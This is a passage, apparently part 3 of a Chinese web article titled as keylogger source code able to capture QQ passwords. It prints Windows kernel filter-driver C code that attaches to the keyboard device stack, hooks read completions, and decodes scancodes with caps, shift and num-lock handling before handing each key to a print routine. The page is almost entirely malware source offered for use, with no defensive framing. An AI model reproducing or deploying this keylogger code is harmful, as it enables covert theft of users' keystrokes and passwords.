可截获到 QQ 密码 键盘记录器源码(3)

IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));   // 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

tmpDevice = tmpDevice->NextDevice;
    }

ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

//KdPrint(("KMRead.\n"));

myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
    如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
 /*IoSetCompletionRoutine(Irp,
                          KMReadCompletion,
                          NULL,
                          TRUE,
                          TRUE,
                          TRUE);*/

IoSetCompletionRoutineEx(DeviceObject,
                            Irp,
                            KMReadCompletion,
                            NULL,
                            TRUE,
                            TRUE,
                            TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

//KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
 /* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即长度
        len = Irp->IoStatus.Information;

if (buff[4] == 0) {
            /* 键盘被按下 */
   switch (buff[2]) {
   case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
   case 0x2A:
   case 0x36:
                g_shift = 1;
                break;
   case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
   default:
                KMPrintKey(buff[2]);
                break;
            }
  } else if (buff[4] == 1) {
            /* 键盘被释放 */
   switch (buff[2]) {
   case 0x2A:
   case 0x36:
                g_shift = 0;
                break;
   default: break;
            }
        }
    }

if (Irp->PendingReturned) {
        IoMarkIrpPending(Irp);
    }

return Irp->IoStatus.Status;
}

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/c7e041feb0cbc1c956d864d0aa70e679.html